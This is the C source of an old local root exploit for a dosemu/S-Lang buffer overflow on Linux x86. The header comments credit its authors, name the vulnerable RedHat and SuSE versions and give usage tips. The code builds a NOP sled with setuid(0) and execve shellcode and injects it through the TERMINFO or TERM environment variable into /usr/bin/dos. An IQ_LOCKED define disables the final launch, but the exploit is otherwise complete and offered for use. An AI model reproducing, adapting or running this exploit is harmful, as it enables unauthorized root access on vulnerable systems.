/*
 *  dosemu/slang overflow exploit for linux/x86
 *
 *  by DiGiT and crazy-b!
 *
 *  !!! for usage information run the program with no arguments !!!
 *
 *  notez:
 *
 *  with some versions of dosemu, an I/O error will occur when exploiting.
 *  this means you can not communicate with the prog you run from your
 *  terminal. after executing you may also need to reset your terminal.
 *
 *  we suggest writing a shell script to secure your root privs, if you
 *  are not able to communicate with your shell. for this reason we have
 *  made it possible to specify what you want to execute. you may however
 *  not add any arguments to that command. this is because there simply
 *  weren't enought time for coding!
 *
 *  because dosemu change its euid to non-root, we have added a little bit
 *  of code to set this to 0 for you. it can be selected before compiling,
 *  and should be on by default.
 *
 * Greetz, #hax, ADM, special greetz to [IG-88]!!
 *
 * Note: if yah got probs, brute force.
 *
 *
 *   In both cases the exploitable condition will not exist if you have
 *   TERMCAP set. So  script kiddies, unset  TERMCAP before you  try to
 *   exploit this!  From testing redhat 4.2, and 5.X are vulnerable  to
 *   these exploits.  So is  suse 5.X.  It is  not unlikely  that other
 *   linux distribs  contain the  vulnerable dosemu.   S-Lang has  been
 *   ported to many OS', but no chance to see if any of them use it, or
 *   dosemu for that matter.
 *
 *   Exploit follows (By default rh  5.2, does not allow reg  user's to
 *   run dosemu so this exploit will probably not work for you, BUT the
 *   overflow exists):
 *
 *
 */

#define PATH_DOSEMU "/usr/bin/dos"

#define DEF_BUFSIZE_1 268
#define DEF_OFFSET_1 911
#define DEF_BUFSIZE_2 1007
#define DEF_OFFSET_2 100

#define UNSET_TERMCAP
#define SET_EUID
#define IQ_LOCKED


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char sc[] =
#ifdef SET_EUID
        "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" /* set euid - craz */
#endif
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

long get_sp ()
{
        __asm__("movl %esp,%eax");
}

void usage ()
{
        printf("usage: ./sploit type proggie [offset [bufsize]]\n\n");
        printf("type must be one of:\t1 :TERMINFO\n\t\t\t2 :TERM\n\n");
        exit(0);
}

int main (int argc, char **argv)
{
    int bufsize, offset, n, type;
    char *buf, *ptr;
    long addr;

   printf("\n      (= DiGiT and crazy-b presents: =)\n");
        printf("    (= linux/x86 dosemu/slang overflow =)\n\n");


        if (argc < 3 || argc > 5) usage();

        type = atoi(argv[1]);
        if (type < 1 || type > 2) usage();

        bufsize = argc > 4 ? atoi(argv[4]) :
                (type == 1 ? DEF_BUFSIZE_1 : DEF_BUFSIZE_2);
        offset = argc > 3 ? atoi(argv[3]) :
                (type == 1 ? DEF_OFFSET_1 : DEF_OFFSET_2);

        n = strlen(argv[2]);
#ifdef SET_EUID
        sc[23] = sc[33] = n + 5; sc[15] = sc[30] = n + 1; sc[20] = n;
#else
        sc[13] = sc[23] = n + 5; sc[5] = sc[20] = n + 1; sc[10] = n;
#endif

        if ((buf = malloc(bufsize + 1)) == NULL) {
                perror("malloc");
                exit(-1);
        }

        addr = get_sp() - offset;

        memset(buf, 0x90, bufsize);
        ptr = (buf + bufsize) - (strlen(sc) + strlen(argv[2]) + 8);
        for (n = 0; n < strlen(sc); n++)
                *(ptr++) = sc[n];
            for (n = 0; n < strlen(argv[2]); n++)
                    *(ptr++) = argv[2][n];
            *(long *)((buf + bufsize) - 4) = addr;
            *(long *)((buf + bufsize) - 8) = addr - 16;

            printf(";;; type: %s, launching: %s\n",
                    type == 1 ? "TERMINFO" : "TERM", argv[2]);
            printf(";;; bufsize: %i, offset: %i, address: 0x%lx\n\n",
                    bufsize, offset, addr);


#ifdef UNSET_TERMCAP
        unsetenv("TERMCAP");
#endif

#ifndef IQ_LOCKED
        setenv(type == 1 ? "TERMINFO" : "TERM", buf, 1);
        execl(PATH_DOSEMU, "dos", 0);
#endif

        exit(-1);
}
